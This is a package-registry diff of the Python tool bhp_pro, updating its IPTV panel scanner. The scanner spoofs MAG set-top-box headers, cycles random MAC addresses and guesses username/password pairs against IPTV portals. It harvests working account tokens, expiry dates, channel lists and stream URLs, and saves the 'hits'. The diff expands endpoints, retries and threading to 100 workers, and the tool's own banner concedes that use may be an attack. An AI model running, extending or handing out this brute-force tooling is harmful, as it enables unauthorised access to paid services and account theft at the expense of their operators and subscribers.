bhp-pro 1.1.7__tar.gz → 1.1.9__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.4
2
2
  Name: bhp_pro
3
- Version: 1.1.7
3
+ Version: 1.1.9
4
4
  Summary: Web Enumeration Tool
5
5
  Author: ssskingsss12
6
6
  Author-email: smalls3000i@gmail.com
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.4
2
2
  Name: bhp_pro
3
- Version: 1.1.7
3
+ Version: 1.1.9
4
4
  Summary: Web Enumeration Tool
5
5
  Author: ssskingsss12
6
6
  Author-email: smalls3000i@gmail.com
@@ -14006,7 +14006,6 @@ def Android_App_Security_Analyzer():
14006
14006
 
14007
14007
  #================== IPTV SCANNER ===================#
14008
14008
  def iptvscan():
14009
-
14010
14009
  import requests
14011
14010
  import random
14012
14011
  import time
@@ -14016,13 +14015,14 @@ def iptvscan():
14016
14015
  import sys
14017
14016
  import hashlib
14018
14017
  import json
14018
+ import socket
14019
14019
  from datetime import datetime
14020
- from urllib.parse import quote
14020
+ from urllib.parse import quote, urlparse
14021
14021
 
14022
14022
  # Disable SSL warnings
14023
14023
  import urllib3
14024
14024
  urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
14025
-
14025
+ generate_ascii_banner("iptv", "scanner")
14026
14026
  class IPTVScanner:
14027
14027
  def __init__(self):
14028
14028
  self.session = requests.Session()
@@ -14036,9 +14036,113 @@ def iptvscan():
14036
14036
  self.panel_queue = []
14037
14037
  self.panel_threads = []
14038
14038
  self.panel_lock = threading.Lock()
14039
- self.max_panel_threads = 3 # concurrent panels
14040
- self.scanned_lock = threading.Lock() # Add lock for thread safety
14041
- self.current_panel = "None" # Track current panel being scanned
14039
+ self.max_panel_threads = 20
14040
+ self.scanned_lock = threading.Lock()
14041
+ self.current_panel = "None"
14042
+ self.valid_panels = []
14043
+
14044
+ def is_server_reachable(self, hostname, port, timeout=3):
14045
+ """Check if a server is reachable using socket connection"""
14046
+ try:
14047
+ s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
14048
+ s.settimeout(timeout)
14049
+ result = s.connect_ex((hostname, port))
14050
+ s.close()
14051
+ return result == 0
14052
+ except:
14053
+ return False
14054
+
14055
+ # ---------------- URL Validation Function ---------------- #
14056
+ def validate_url(self, url, timeout=3):
14057
+ """
14058
+ Validate a URL by checking its HTTP status code with better headers and user agents
14059
+ Returns: (is_valid, status_code, final_url)
14060
+ """
14061
+ try:
14062
+ if not url.startswith('http'):
14063
+ url = 'http://' + url
14064
+
14065
+ # Use more realistic headers to avoid being blocked
14066
+ headers = {
14067
+ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36',
14068
+ 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
14069
+ 'Accept-Language': 'en-US,en;q=0.5',
14070
+ 'Connection': 'keep-alive',
14071
+ 'Upgrade-Insecure-Requests': '1',
14072
+ }
14073
+
14074
+ # Try GET request with proper headers
14075
+ response = self.session.get(url, headers=headers, timeout=timeout, allow_redirects=True, stream=True)
14076
+ status_code = response.status_code
14077
+
14078
+ # Consider 200-499 as valid (some panels return 403 but are actually working)
14079
+ if 200 <= status_code < 500:
14080
+ return True, status_code, response.url
14081
+ else:
14082
+ return False, status_code, response.url
14083
+
14084
+ except requests.exceptions.RequestException as e:
14085
+ # Try one more time with a different approach - just check if domain is reachable
14086
+ try:
14087
+ # Extract just the domain:port
14088
+ parsed = urlparse(url if url.startswith('http') else 'http://' + url)
14089
+ domain_port = f"{parsed.hostname}:{parsed.port}" if parsed.port else parsed.hostname
14090
+
14091
+ # Try connecting to the port directly
14092
+ port_num = parsed.port if parsed.port else 80
14093
+ if self.is_server_reachable(parsed.hostname, port_num, timeout):
14094
+ return True, "PortOpen", url
14095
+ except:
14096
+ pass
14097
+
14098
+ return False, "Error", url
14099
+ except Exception as e:
14100
+ return False, "Exception", url
14101
+
14102
+ # ---------------- Validate All URLs ---------------- #
14103
+ def validate_all_urls(self, urls):
14104
+ """
14105
+ Validate all URLs and show statistics
14106
+ Returns: List of valid URLs
14107
+ """
14108
+ print("\n\033[96mValidating URLs...\033[0m")
14109
+ valid_urls = []
14110
+ invalid_urls = []
14111
+
14112
+ for i, url in enumerate(urls, 1):
14113
+ is_valid, status_code, final_url = self.validate_url(url)
14114
+
14115
+ if is_valid:
14116
+ status_display = f"Status: {status_code}" if isinstance(status_code, int) else f"Status: {status_code}"
14117
+ print(f"\033[92m[{i}] VALID: {url} → {status_display}\033[0m")
14118
+ valid_urls.append(url)
14119
+ else:
14120
+ status_display = f"Status: {status_code}" if isinstance(status_code, int) else f"Status: {status_code}"
14121
+ print(f"\033[91m[{i}] INVALID: {url} → {status_display}\033[0m")
14122
+ invalid_urls.append((url, status_code))
14123
+
14124
+ # Show statistics
14125
+ print(f"\n\033[95mValidation Results:\033[0m")
14126
+ print(f"\033[92mValid URLs: {len(valid_urls)}\033[0m")
14127
+ print(f"\033[91mInvalid URLs: {len(invalid_urls)}\033[0m")
14128
+
14129
+ if invalid_urls:
14130
+ print("\n\033[93mInvalid URLs (will be skipped):\033[0m")
14131
+ for url, status in invalid_urls:
14132
+ status_display = f"Status: {status}" if isinstance(status, int) else f"Status: {status}"
14133
+ print(f" {url} → {status_display}")
14134
+
14135
+ # Ask if user wants to include some invalid URLs that might still work
14136
+ include_invalid = "n"
14137
+ if include_invalid == "y":
14138
+ for url, status in invalid_urls:
14139
+ if status == 403 or status == "PortOpen": # 403 might still work, port is open
14140
+ include = "y"
14141
+ if include == "y":
14142
+ valid_urls.append(url)
14143
+ print(f"\033[93mAdded {url} to scan list\033[0m")
14144
+
14145
+ return valid_urls
14042
14146
 
14043
14147
  # ---------------- MAC / Serial / Device functions ---------------- #
14044
14148
  def validate_mac(self, mac):
@@ -14085,20 +14189,37 @@ def iptvscan():
14085
14189
  return choice, None, 'upper', mac_count
14086
14190
 
14087
14191
  # ---------------- Panel testing functions ---------------- #
14088
- def test_panel(self, panel_url, mac, timeout=10):
14192
+ def test_panel(self, panel_url, mac, timeout=3):
14089
14193
  try:
14090
- original_panel = panel_url # Store the original panel URL
14194
+ original_panel = panel_url
14091
14195
  if not panel_url.startswith('http'):
14092
14196
  panel_url = 'http://' + panel_url
14093
- server = panel_url.replace('http://', '').replace('https://', '').split('/')[0]
14197
+
14198
+ # Extract server and port
14199
+ parsed = urlparse(panel_url)
14200
+ server = parsed.hostname
14201
+ port = parsed.port if parsed.port else 80
14202
+
14203
+ # First check if server is reachable
14204
+ if not self.is_server_reachable(server, port, timeout=3):
14205
+ return {'success': False, 'error': 'Server not reachable'}
14206
+
14094
14207
  tkk = self.generate_random_string(32)
14095
14208
 
14209
+ # Try different endpoint patterns
14096
14210
  endpoints = [
14097
14211
  f"http://{server}/server/load.php",
14098
14212
  f"http://{server}/portal.php",
14099
- f"http://{server}/c/portal.php"
14213
+ f"http://{server}/c/portal.php",
14214
+ f"http://{server}/panel/portal.php",
14215
+ f"http://{server}/stalker_portal/server/load.php",
14216
+ f"http://{server}/stalker_portal/c/portal.php"
14100
14217
  ]
14101
14218
 
14219
+ # Add the original URL as a potential endpoint
14220
+ if panel_url not in endpoints:
14221
+ endpoints.insert(0, panel_url)
14222
+
14102
14223
  headers = {
14103
14224
  'User-Agent': 'Mozilla/5.0 (QtEmbedded; U; Linux; C) AppleWebKit/533.3 (KHTML, like Gecko) MAG200 stbapp ver: 4 rev: 1812 Mobile Safari/533.3',
14104
14225
  'X-User-Agent': 'Model: MAG250; Link: WiFi',
@@ -14112,16 +14233,37 @@ def iptvscan():
14112
14233
 
14113
14234
  auth_token = None
14114
14235
  working_endpoint = None
14236
+
14115
14237
  for endpoint in endpoints:
14116
14238
  try:
14117
- handshake_url = f"{endpoint}?type=stb&action=handshake&token={tkk}&JsHttpRequest=1-xml"
14118
- response = self.session.get(handshake_url, headers=headers, timeout=timeout)
14119
- if response.status_code == 200 and '"token":"' in response.text:
14120
- token_match = re.search(r'"token":"([^"]+)"', response.text)
14121
- if token_match:
14122
- auth_token = token_match.group(1)
14123
- working_endpoint = endpoint
14124
- break
14239
+ # Try different parameter formats
14240
+ handshake_urls = [
14241
+ f"{endpoint}?type=stb&action=handshake&token={tkk}&JsHttpRequest=1-xml",
14242
+ f"{endpoint}?type=stb&action=handshake&JsHttpRequest=1-xml",
14243
+ f"{endpoint}?action=handshake&type=stb&token={tkk}"
14244
+ ]
14245
+
14246
+ for handshake_url in handshake_urls:
14247
+ try:
14248
+ response = self.session.get(handshake_url, headers=headers, timeout=timeout)
14249
+ if response.status_code == 200 and ('"token":"' in response.text or 'token' in response.text):
14250
+ # Try different patterns to extract token
14251
+ token_match = re.search(r'"token":"([^"]+)"', response.text)
14252
+ if not token_match:
14253
+ token_match = re.search(r'"token":\s*"([^"]+)"', response.text)
14254
+ if not token_match:
14255
+ token_match = re.search(r'token["\']?\s*[:=]\s*["\']([^"\']+)', response.text)
14256
+
14257
+ if token_match:
14258
+ auth_token = token_match.group(1)
14259
+ working_endpoint = endpoint
14260
+ break
14261
+ except:
14262
+ continue
14263
+
14264
+ if auth_token:
14265
+ break
14266
+
14125
14267
  except:
14126
14268
  continue
14127
14269
 
@@ -14130,23 +14272,73 @@ def iptvscan():
14130
14272
 
14131
14273
  headers['Authorization'] = f'Bearer {auth_token}'
14132
14274
 
14133
- profile_url = f"{working_endpoint}?type=stb&action=get_profile&JsHttpRequest=1-xml"
14134
- profile_response = self.session.get(profile_url, headers=headers, timeout=timeout)
14135
- if profile_response.status_code != 200:
14275
+ # Try different profile URL patterns
14276
+ profile_urls = [
14277
+ f"{working_endpoint}?type=stb&action=get_profile&JsHttpRequest=1-xml",
14278
+ f"{working_endpoint}?action=get_profile&type=stb&JsHttpRequest=1-xml"
14279
+ ]
14280
+
14281
+ profile_response = None
14282
+ for profile_url in profile_urls:
14283
+ try:
14284
+ profile_response = self.session.get(profile_url, headers=headers, timeout=timeout)
14285
+ if profile_response.status_code == 200:
14286
+ break
14287
+ except:
14288
+ continue
14289
+
14290
+ if not profile_response or profile_response.status_code != 200:
14136
14291
  return {'success': False, 'error': 'Profile request failed'}
14137
14292
 
14138
- account_url = f"{working_endpoint}?type=account_info&action=get_main_info&JsHttpRequest=1-xml"
14139
- account_response = self.session.get(account_url, headers=headers, timeout=timeout)
14140
- if account_response.status_code != 200:
14293
+ # Try different account info URL patterns
14294
+ account_urls = [
14295
+ f"{working_endpoint}?type=account_info&action=get_main_info&JsHttpRequest=1-xml",
14296
+ f"{working_endpoint}?action=get_main_info&type=account_info&JsHttpRequest=1-xml"
14297
+ ]
14298
+
14299
+ account_response = None
14300
+ for account_url in account_urls:
14301
+ try:
14302
+ account_response = self.session.get(account_url, headers=headers, timeout=timeout)
14303
+ if account_response.status_code == 200:
14304
+ break
14305
+ except:
14306
+ continue
14307
+
14308
+ if not account_response or account_response.status_code != 200:
14141
14309
  return {'success': False, 'error': 'Account info request failed'}
14142
14310
 
14143
14311
  account_text = account_response.text
14144
14312
  exp_match = re.search(r'"phone":"([^"]+)"', account_text) or re.search(r'"end_date":"([^"]+)"', account_text)
14145
14313
  exp_date = exp_match.group(1) if exp_match else "Unknown"
14146
14314
 
14147
- channels_url = f"{working_endpoint}?type=itv&action=get_all_channels&JsHttpRequest=1-xml"
14148
- channels_response = self.session.get(channels_url, headers=headers, timeout=timeout)
14149
- channel_count = len(re.findall(r'"ch_id":"', channels_response.text)) if channels_response.status_code == 200 else 0
14315
+ # Try different channels URL patterns
14316
+ channels_urls = [
14317
+ f"{working_endpoint}?type=itv&action=get_all_channels&JsHttpRequest=1-xml",
14318
+ f"{working_endpoint}?action=get_all_channels&type=itv&JsHttpRequest=1-xml"
14319
+ ]
14320
+
14321
+ channels_response = None
14322
+ for channels_url in channels_urls:
14323
+ try:
14324
+ channels_response = self.session.get(channels_url, headers=headers, timeout=timeout)
14325
+ if channels_response.status_code == 200:
14326
+ break
14327
+ except:
14328
+ continue
14329
+
14330
+ channel_count = 0
14331
+ if channels_response and channels_response.status_code == 200:
14332
+ # Try different patterns to count channels
14333
+ channel_count = len(re.findall(r'"ch_id":"', channels_response.text))
14334
+ if channel_count == 0:
14335
+ channel_count = len(re.findall(r'"id":', channels_response.text))
14336
+ if channel_count == 0:
14337
+ channel_count = len(re.findall(r'"name":', channels_response.text))
14338
+
14339
+ # Check if channels are 0 - if so, don't consider it a hit
14340
+ if channel_count == 0:
14341
+ return {'success': False, 'error': 'No channels found'}
14150
14342
 
14151
14343
  link_url = f"{working_endpoint}?type=itv&action=create_link&forced_storage=undefined&download=0&cmd=ffmpeg%20http%3A%2F%2Flocalhost%2Fch%2F181212_&JsHttpRequest=1-xml"
14152
14344
  link_response = self.session.get(link_url, headers=headers, timeout=timeout)
@@ -14165,7 +14357,7 @@ def iptvscan():
14165
14357
 
14166
14358
  m3u_url = f"http://{server}/get.php?username={username}&password={password}&type=m3u_plus"
14167
14359
  try:
14168
- m3u_response = self.session.get(m3u_url, headers=headers, timeout=5)
14360
+ m3u_response = self.session.get(m3u_url, headers=headers, timeout=3)
14169
14361
  m3u_status = "Working" if m3u_response.status_code == 200 else "Not Working"
14170
14362
  except:
14171
14363
  m3u_status = "Error"
@@ -14190,7 +14382,7 @@ def iptvscan():
14190
14382
  'success': True,
14191
14383
  'mac': mac,
14192
14384
  'panel': server,
14193
- 'original_panel': original_panel, # Save the original panel input
14385
+ 'original_panel': original_panel,
14194
14386
  'endpoint': working_endpoint,
14195
14387
  'exp_date': exp_date,
14196
14388
  'channels': channel_count,
@@ -14208,42 +14400,66 @@ def iptvscan():
14208
14400
  except Exception as e:
14209
14401
  return {'success': False, 'error': str(e)}
14210
14402
 
14211
- def test_m3u_credentials(self, panel_url, username, password, timeout=8):
14403
+ def test_m3u_credentials(self, panel_url, username, password, timeout=3):
14212
14404
  try:
14213
- original_panel = panel_url # Store the original panel URL
14405
+ original_panel = panel_url
14214
14406
  if not panel_url.startswith('http'):
14215
14407
  panel_url = 'http://' + panel_url
14216
14408
  server = panel_url.replace('http://', '').replace('https://', '').split('/')[0]
14217
14409
 
14218
14410
  headers = {
14219
- 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)',
14411
+ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36',
14220
14412
  'Accept': '*/*',
14221
14413
  'Connection': 'close',
14222
14414
  'Host': server
14223
14415
  }
14224
14416
 
14225
- m3u_url = f"http://{server}/get.php?username={username}&password={password}&type=m3u_plus"
14226
- resp = self.session.get(m3u_url, headers=headers, timeout=timeout)
14227
- body = resp.text if resp else ''
14228
- ok = resp.status_code == 200 and ('#EXTM3U' in body or len(body) > 50)
14417
+ # Try different M3U URL patterns
14418
+ m3u_urls = [
14419
+ f"http://{server}/get.php?username={username}&password={password}&type=m3u_plus",
14420
+ f"http://{server}/get.php?username={username}&password={password}&type=m3u",
14421
+ f"http://{server}/panel_api.php?username={username}&password={password}&action=get_live_streams",
14422
+ f"http://{server}/player_api.php?username={username}&password={password}&action=get_live_streams"
14423
+ ]
14424
+
14425
+ ok = False
14426
+ m3u_url = m3u_urls[0]
14427
+ body = ''
14428
+ status_code = 0
14429
+
14430
+ for test_url in m3u_urls:
14431
+ try:
14432
+ resp = self.session.get(test_url, headers=headers, timeout=timeout)
14433
+ status_code = resp.status_code
14434
+ body = resp.text if resp else ''
14435
+
14436
+ # Check for various success indicators
14437
+ if (resp.status_code == 200 and
14438
+ ('#EXTM3U' in body or 'http://' in body or '.m3u8' in body or
14439
+ len(body) > 100 or 'channel' in body.lower() or 'stream' in body.lower())):
14440
+ ok = True
14441
+ m3u_url = test_url
14442
+ break
14443
+ except:
14444
+ continue
14229
14445
 
14230
14446
  # Test EPG URL
14231
14447
  epg_url = f"http://{server}/xmltv.php?username={username}&password={password}"
14232
14448
  try:
14233
- epg_resp = self.session.get(epg_url, headers=headers, timeout=5)
14449
+ epg_resp = self.session.get(epg_url, headers=headers, timeout=3)
14234
14450
  epg_status = "Working" if epg_resp.status_code == 200 and 'xml' in epg_resp.text.lower() else "Not Working"
14235
14451
  except:
14236
14452
  epg_status = "Error"
14237
14453
 
14238
14454
  return {
14239
14455
  'success': ok,
14240
- 'status_code': resp.status_code,
14456
+ 'status_code': status_code,
14241
14457
  'm3u_url': m3u_url,
14242
14458
  'epg_url': epg_url,
14243
14459
  'epg_status': epg_status,
14244
14460
  'username': username,
14245
14461
  'password': password,
14246
- 'original_panel': original_panel, # Save the original panel input
14462
+ 'original_panel': original_panel,
14247
14463
  'body_snippet': body[:200] if body else ''
14248
14464
  }
14249
14465
 
@@ -14268,7 +14484,7 @@ def iptvscan():
14268
14484
  f.write(f"Mode: {mode}\n")
14269
14485
  if mode == 'mac':
14270
14486
  f.write(f"MAC: {result.get('mac')}\n")
14271
- f.write(f"Panel: {result.get('original_panel', result.get('panel'))}\n") # Save original panel
14487
+ f.write(f"Panel: {result.get('original_panel', result.get('panel'))}\n")
14272
14488
  if 'endpoint' in result:
14273
14489
  f.write(f"Endpoint: {result.get('endpoint')}\n")
14274
14490
  if 'exp_date' in result:
@@ -14309,19 +14525,16 @@ def iptvscan():
14309
14525
  def worker(self, panel_url, mode='mac', mac_case='upper', prefix_index=0, creds_min=5, creds_max=15, mac_count=0):
14310
14526
  self.active_threads += 1
14311
14527
  try:
14312
- # Set the current panel for display
14313
14528
  self.current_panel = panel_url
14314
14529
 
14315
14530
  while self.running:
14316
- # Check global count first
14317
14531
  if mac_count > 0 and self.scanned_count >= mac_count:
14318
14532
  break
14319
14533
 
14320
14534
  if mode == 'mac':
14321
14535
  mac = self.generate_mac(prefix_index, mac_case)
14322
- result = self.test_panel(panel_url, mac, timeout=15)
14536
+ result = self.test_panel(panel_url, mac, timeout=3)
14323
14537
 
14324
- # Thread-safe counter update
14325
14538
  with self.scanned_lock:
14326
14539
  self.scanned_count += 1
14327
14540
  current_count = self.scanned_count
@@ -14331,8 +14544,9 @@ def iptvscan():
14331
14544
  print(f" Exp: {result.get('exp_date')} | Channels: {result.get('channels')} | M3U: {result.get('m3u_status')}")
14332
14545
  self.save_hit(result, mode='mac')
14333
14546
 
14547
+ # Update status display
14548
+ sys.stdout.write(f"\rScanned: {self.scanned_count} | Mac: {mac} | Hits: {self.found_hits} | Panel: {self.current_panel[:50]} | Threads: {self.active_threads} | Mode: {mode} | Time: {datetime.now().strftime('%H:%M:%S')} ")
14334
14549
  else:
14335
- # Credentials mode
14336
14550
  if mac_count > 0 and self.scanned_count >= mac_count:
14337
14551
  break
14338
14552
 
@@ -14351,28 +14565,24 @@ def iptvscan():
14351
14565
  print(f" M3U URL: {result.get('m3u_url')}")
14352
14566
  self.save_hit(result, mode='creds')
14353
14567
 
14354
- # Update status display - reduced verbosity
14355
- if self.scanned_count % 1 == 0 or self.scanned_count == 1:
14356
- sys.stdout.write(f"\rScanned: {self.scanned_count} | Hits: {self.found_hits} | Panel: {self.current_panel[:50]}")
14357
- sys.stdout.flush()
14358
-
14359
- # Check if we've reached the limit
14568
+ # Update status display
14569
+ sys.stdout.write(f"\rScanned: {self.scanned_count} | Creds: {username}:{password} | Hits: {self.found_hits} | Panel: {self.current_panel[:50]} | Threads: {self.active_threads} | Mode: {mode} | Time: {datetime.now().strftime('%H:%M:%S')} ")
14570
+
14360
14571
  if mac_count > 0 and self.scanned_count >= mac_count:
14361
14572
  break
14362
14573
 
14363
14574
  time.sleep(0.1)
14364
14575
  finally:
14365
14576
  self.active_threads -= 1
14366
- self.current_panel = "None" # Reset when done
14577
+ self.current_panel = "None"
14367
14578
 
14368
14579
  # ---------------- Panel thread runner ---------------- #
14369
14580
  def panel_runner(self, panel_url, mode, mac_case, prefix_index, creds_min, creds_max, mac_count):
14370
- # Adjust thread count based on requested MAC count
14371
14581
  if mac_count > 0:
14372
- thread_count = min(5, max(1, mac_count // 10)) # Scale threads with count
14582
+ thread_count = min(20, max(1, mac_count // 10))
14373
14583
  else:
14374
- thread_count = 10
14375
-
14584
+ thread_count = 100
14585
+
14376
14586
  threads = []
14377
14587
  for _ in range(thread_count):
14378
14588
  t = threading.Thread(target=self.worker, args=(panel_url, mode, mac_case, prefix_index, creds_min, creds_max, mac_count))
@@ -14381,8 +14591,8 @@ def iptvscan():
14381
14591
  threads.append(t)
14382
14592
 
14383
14593
  try:
14384
- while any(t.is_alive() for t in threads):
14385
- time.sleep(0.5)
14594
+ for t in threads:
14595
+ t.join()
14386
14596
  except KeyboardInterrupt:
14387
14597
  self.running = False
14388
14598
  for t in threads:
@@ -14390,7 +14600,6 @@ def iptvscan():
14390
14600
 
14391
14601
  # ---------------- Main scanner function ---------------- #
14392
14602
  def run_scanner(self):
14393
- """Main scanner function that handles the scanning process"""
14394
14603
  print("\033[95m" + "="*60)
14395
14604
  print(" IPTV PANEL SCANNER")
14396
14605
  print("="*60 + "\033[0m")
@@ -14413,12 +14622,34 @@ def iptvscan():
14413
14622
  panels = [user_input]
14414
14623
  print(f"Testing single panel: {user_input}")
14415
14624
 
14625
+ # Validate all URLs before proceeding
14626
+ valid_panels = self.validate_all_urls(panels)
14627
+
14628
+ if not valid_panels:
14629
+ print("\n\033[91mNo valid URLs to scan. Exiting.\033[0m")
14630
+ return
14631
+
14632
+ continue_scan = "y"
14633
+ if continue_scan != "y":
14634
+ print("Scan cancelled.")
14635
+ return
14636
+
14416
14637
  mode = input("Mode (mac/creds) [mac]: ").strip().lower() or 'mac'
14417
14638
 
14418
14639
  # MAC choice / count
14419
14640
  mac_choice, specific_mac, mac_case, mac_count = ('auto', None, 'upper', 0)
14641
+ creds_count = 0 # Add this variable for credentials count
14642
+
14420
14643
  if mode == 'mac':
14421
14644
  mac_choice, specific_mac, mac_case, mac_count = self.choose_mac_mode()
14645
+ else:
14646
+ # Add prompt for number of credentials to generate
14647
+ creds_count_input = input("Enter how many credentials to generate/test: ").strip() or "100"
14648
+ try:
14649
+ creds_count = int(creds_count_input)
14650
+ except ValueError:
14651
+ print(f"Invalid number '{creds_count_input}', using default 100")
14652
+ creds_count = 100
14422
14653
 
14423
14654
  creds_min = 5
14424
14655
  creds_max = 15
@@ -14430,11 +14661,11 @@ def iptvscan():
14430
14661
  print("Invalid input, using defaults (5-15)")
14431
14662
  creds_min, creds_max = 5, 15
14432
14663
 
14433
- print(f"\nStarting scan with {len(panels)} panel(s)...")
14664
+ print(f"\nStarting scan with {len(valid_panels)} valid panel(s)...")
14434
14665
  print("Press Ctrl+C to stop\n")
14435
14666
 
14436
- # Process all panels in the list
14437
- for panel in panels:
14667
+ # Process all valid panels
14668
+ for panel in valid_panels:
14438
14669
  if not self.running:
14439
14670
  break
14440
14671
 
@@ -14444,27 +14675,26 @@ def iptvscan():
14444
14675
  self.scanned_count = 0
14445
14676
  self.found_hits = 0
14446
14677
 
14447
- # Run the panel scanner
14448
- self.panel_runner(panel, mode, mac_case, 0, creds_min, creds_max, mac_count)
14678
+ # Run the panel scanner - pass creds_count for creds mode
14679
+ if mode == 'mac':
14680
+ self.panel_runner(panel, mode, mac_case, 0, creds_min, creds_max, mac_count)
14681
+ else:
14682
+ self.panel_runner(panel, mode, mac_case, 0, creds_min, creds_max, creds_count)
14449
14683
 
14450
14684
  # Display results for this panel
14451
14685
  print(f"\nPanel {panel} completed: Scanned {self.scanned_count}, Hits {self.found_hits}")
14452
14686
 
14453
14687
  print(f"\nAll panels processed! Total hits found: {self.found_hits}")
14454
14688
 
14455
- def mainjam():
14456
- """Main function that handles the application flow"""
14689
+ def main():
14457
14690
  try:
14458
- # Create scanner instance
14459
14691
  scanner = IPTVScanner()
14460
-
14461
- # Run the scanner
14462
14692
  scanner.run_scanner()
14463
14693
 
14464
14694
  except KeyboardInterrupt:
14465
14695
  print("\n\nScan interrupted by user. Exiting gracefully...")
14466
14696
  scanner.running = False
14467
- time.sleep(1) # Give threads time to clean up
14697
+ time.sleep(1)
14468
14698
 
14469
14699
  except Exception as e:
14470
14700
  print(f"\nAn unexpected error occurred: {e}")
@@ -14474,8 +14704,8 @@ def iptvscan():
14474
14704
  print("\nThank you for using IPTV Panel Scanner!")
14475
14705
  print("Results are saved in the 'hits' folder.")
14476
14706
 
14477
-
14478
- mainjam()
14707
+ if __name__ == "__main__":
14708
+ main()
14479
14709
 
14480
14710
  def ipcam():
14481
14711
  import requests
@@ -15995,7 +16225,7 @@ def banner():
15995
16225
  MAGENTA + "██╔═══╝ ██╔══██╗██║ ██║" + LIME + "user should understand that useage of this script may be" + ENDC,
15996
16226
  MAGENTA + "██║ ██║ ██║╚██████╔╝" + LIME + "concidered an attack on a data network, and may violate terms" + ENDC,
15997
16227
  MAGENTA + "╚═╝ ╚═╝ ╚═╝ ╚═════╝" + LIME + "of service, use on your own network or get permission first" + ENDC,
15998
- PURPLE + "script_version@ 1.1.9 ®" + ENDC,
16228
+ PURPLE + "script_version@ 1.2.0 ®" + ENDC,
15999
16229
  ORANGE + "All rights reserved 2022-2025 ♛: ®" + ENDC,
16000
16230
  MAGENTA + "In Collaboration whit Ayan Rajpoot ® " + ENDC,
16001
16231
  BLUE + "Support: https://t.me/BugScanX 💬" + ENDC,
@@ -2,7 +2,7 @@ from setuptools import setup
2
2
 
3
3
  setup(
4
4
  name='bhp_pro', # Lowercase, unique on PyPI
5
- version='1.1.7',
5
+ version='1.1.9',
6
6
  py_modules=['bhp_pro'], # Matches your filename
7
7
  entry_points={
8
8
  'console_scripts': [
File without changes
File without changes